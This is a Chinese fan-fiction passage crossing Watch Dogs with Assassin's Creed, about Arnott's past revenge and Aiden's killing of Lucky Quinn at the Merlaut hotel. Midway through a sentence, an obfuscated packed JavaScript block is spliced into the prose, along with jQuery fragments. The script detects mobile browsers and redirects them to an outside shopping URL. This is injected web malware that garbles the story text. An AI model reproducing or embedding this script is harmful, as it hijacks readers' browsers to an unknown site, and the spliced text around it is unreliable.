阿洛特再清楚不过仇恨尝起来是什么滋味。那像是五脏六腑里焚烧的火焰,黑色的烟雾时刻不停地熏着他的眼睛和口鼻,让他无法入睡;而每当他从勉强的睡眠中睁开眼睛,看到的每一个时间都是那把火焰为他的生命挂上的倒计时,他要么在这把火焰燃尽之前完成复仇,要么任由这把火焰把自己烧成灰烬。
他选择了前者。
当时他二十多岁。在那一切发生之前,他大概只会用十分之一的时间和兄弟会联络,而这其中主要的内容是和同期联络,并且他们也没在聊兄弟会的事情。没在聊刺客,没在聊圣殿骑士,没在聊伊甸碎片,没在聊和宏伟世界有关的任何一切;他们聊今天刚上的电影,聊新买的游戏卡带,聊教授布置的小论文,为所有发生在他们周围的小事而快乐,也为它们悲伤。
是的,他们中的有些人仍然在为整个世界的利益奔波,但也有人随着年龄的增长逐渐远离兄弟会的核心。当他们把目光放到身边时,他们会发现生活更加容易,心情更加轻松,未来尽管不一定充满希望,但绝对比“和迫害整个世界的统治阶级抗争”要容易得多。
阿洛特也是其中的一员,至少,他当时是这么想的。
某一天,一切天翻地覆。从此,他们留在阿洛特记忆里的欢笑面容被死亡残忍地擦去,只剩下跌落在地的弹壳、炸亮半边天空的大火,以及媒体报道中的“天然气管道爆炸”“□□枪战火拼”…所有的那一切,永远地刻在了阿洛特的回忆里,以慢镜头的形式不容拒绝地闯进每一个他独处的瞬间。
阿洛特几乎以为自己已经脱离了那个世界。但睡在他体内的那个久经训练的“刺客”醒来了。当他睁开眼时,他看到的就是那个无处不在的复仇倒计时。他弃置了所有正常社会活动,一头闯进芝加哥的地下网络,追查弹道、射出那枚子弹的枪、提供这把枪的军火商、购买热武器的客户名单…
刺客迟来的怒火席卷了整个芝加哥。他顺着线索一路杀过去,这条庞大的产业链被他清扫一空,芝加哥也为之清理一新;然后是所有与之相关的犯罪组织,最后到达企业家、政要与圣殿骑士。反正他们中不会有什么好人,这样只会对世界更好。
阿洛特当时是这么认为的。他让所有沾手此事的人血债血偿,鲜血浇熄了他复仇的火焰…而在那之后,很久之后,他意识到了自己究竟做了什么。
也许有些人是真的该死,但有些人并不是真的应该得到那样的结局。阿洛特过早地把他们送进了坟墓里,连同他自己的一部分。
“这个地方真像个坟墓。”
“什么?”
“我说这里真像个坟墓,”T骨说,“没有光照,没有声音——听听我的回声吧!”他清了清嗓子,“呜呼!”
他们都听到了堡垒源源不断的回响。但阿洛特笑了起来。他懒洋洋地抱着胳膊,架在桌面上的双腿往回缩了缩,落到了地上。T骨间断地敲打着键盘,一手在摸敞开的薯片袋。
“我倒觉得这里很适合放歌,”阿洛特指了指他们面前几人高的大屏幕,“或者在这里放电影。你能想象混响效果会有多好吗?”
T骨嚼碎薯片。“你心态真好,兄弟。”
“以及在这里唱歌,”阿洛特说,“说真的,我觉得你像是那种会在洗澡时大声唱歌的类型。”
“告诉我你没在偷听我惊人的天籁之音。”
“得了吧,T骨,你说得好像这地方有什么隔音似的。”
T骨也笑了。“我很高兴你待在这里,阿洛特,”他看着屏幕说,“如果我一个人在这里工作,要不了多久我就会受不了的。”
“我明白,”阿洛特说,“这一切很快就会结束的。”
“我想也是。”T骨说。他已经帮助艾登分析出了妮基的所在,而当艾登救出妹妹之后,没有什么能再阻挡他复仇的步伐。很快,T骨也从资料中解析出了当初下达枪击艾登命令的幕后主使。那个真正导致艾登侄女莉娜去世的人。南方社团老大,幸运奎恩。
“他的幸运要用完了。”阿洛特评论。
“绝对的。”T骨在座椅上伸了个大大的懒腰。没有人提起,但他们之间的交易同样接近了尾声。T骨转头看向阿洛特,这段时间差不多一直留守在堡垒的阿洛特也正看着他。
“有机会一起喝酒,”T骨对他说,“下次我会让你掺点果汁,看看你能不能撑得时间更长一些。”
“别太小瞧我了,”阿洛特拍了拍他的肩膀,“说不定下次你见到我的时候,我已经精通了千杯不醉的技巧。”
“哦,真的吗?”T骨故作怀疑地挑眉。
阿洛特笑了,“当然不可能。你就让我一直喝果汁吧,不然我会把肚子里的东西全部倒出来!”
“恶,那还是算了,”T骨开始收拾东西,“但我会从你嘴里掏出不少东西的。上次是你俩耍赖,不能算我的真实战斗力。”
“那好像就是几天前的事情,但在我的感觉里已经很久了。”
“是啊。不知道艾登的行动是否顺利。”
艾登正在梅洛特酒店。这里是一切的开端,也将是一切的终结。数月之前,他和戴米安在这里行动,只是为了一些小钱,却因为在场第三个黑客(后来被证实是伊拉克)的行动被卷入了所有的这一切。幸运奎恩下的命令击杀他们,艾登侥幸生还,而莉娜永远地躺在了六英尺之下。
今天,幸运奎恩也将死在这里。因为私法制裁者找上了他。
艾登耐心地潜伏着。这还是阿洛特曾经教给他的小技巧,压低身体重心,紧密地贴在掩体后。他黑入摄像头,耐心地等待着拉什摩尔市长语无伦次的发言,幸运奎恩站在一旁,注视着这场慈善晚宴的开端。
没有人知道私法制裁者也在注视这里。他们也许会认为这里是安全的,但很可惜,ctOS的后门实在太多了。艾登操纵摄像头转动,扫了眼观众席;那些名流的身份、收入以及黑料随之跳出,艾登不感兴趣地收回目光。就在他再看回市长时,忽然意识到刚才似乎有个熟悉的名字一闪而过。
梅洛特酒店,花园露台,慈善晚宴上。
西尔维奥·加拉哈德,正放松地靠着椅背,脸上挂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033118|145032||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着明显走神的礼仪微笑。如果不是那样做太明显,他可能已经把手机掏出来玩了,但他正在做的行为也没好到哪里去。他藏在黑色羊绒大衣里的手指飞快地按着手机键盘,“他完全不知道他在说什么。看起来也没喝醉。”
耳机里的声音回复,“遗憾的是,你给他投了票。”
“我真的这么做了?”
“别担心,亲爱的,我们还可以再换一个。”声音说,“他太听奎恩的话了。这可不太好。”
拉什摩尔在市长的位置上待得还不太久,布鲁姆利用ctOS篡改的选票把他送上了这个位置,但没考虑过他的能力是否匹配,或者他们根本不在乎这一点;因为恰恰是能力不足的人拥有担当傀儡的充足天赋,至少在这一点上,拉什摩尔还是很合格的。
但布鲁姆,这个开发了犯罪预测、居民行为模式研究等模型的公司,没有预料到的事情远不止这一件。其中一件,是拉什摩尔在闯祸这件事上耶颇有天分,甚至鲁莽到在镜头前杀人;另一件,则是有人在和他们一起,坐在ctOS背后观看整个城市。
又或者,不只是观看。
艾登进入了奎恩的办公室。他终于搞明白了这所有的一切,拉什摩尔市长在镜头前亲手谋杀了罗丝·华盛顿,而幸运奎恩以为黑进梅洛特酒店的黑客是为了那段视频而来,所以发出了击杀他们的命令。一个无辜的小女孩因此而死,奎恩对此一无所知——即便他知道,他也不会在乎。
像奎恩这样的成功人士很少在乎名利以外的什么。在通往人生终点的坦途上,他们不是在细致地计算落入囊中的利益,就是精心打磨自己在公众口中的声名;他们的所到之处铺满红地毯与鲜花花瓣,生活在云端之上,太高以至于他们看不见地面上无关紧要的尘土。
直到尘土突然跳起来把他呛死。
为了一个六岁的小女孩,她在车里天真烂漫地摆弄着她的小羊玩具,撒娇着说想要去波尼玩。这座城市所有不曾被在乎的怒火忽然有了形状,汇聚成投在奎恩面前死神般的黑影。
私法制裁者按下了判决。
奎恩死了。
所以这就是复仇结束的感觉——在这么久之后——艾登终于能够再度呼吸,仿佛整座城市的重量从他肩膀卸下。他此时再清醒不过了,但复仇的火焰被平息之后,那股支撑着他行动的能量也立刻随之而去。他感到疲惫,感到困倦,恨不得能立刻睡倒在地,弥补这几个月缺失的所有休憩。
但他没有那么做。厚重门板后传来模糊的拍门和问话声,“奎恩先生?奎恩先生!快叫人,封锁酒店!”
时间紧迫。艾登必须迅速离开现场。他走向离开的出口,奎恩遗落在深色储物柜上的手机忽然亮起屏幕;艾登下意识地扫了一眼。他读到的邮件内容把他定在了原地,一股冰冷的力量忽然又充满了他全身。与仇恨完全相反的恐惧。
“收件人:A·布莱恩
主题:修正问题
动手吧。克拉拉知道太多秘密,她会给我们惹麻烦。你知道该怎么做的。
发自:奎恩。”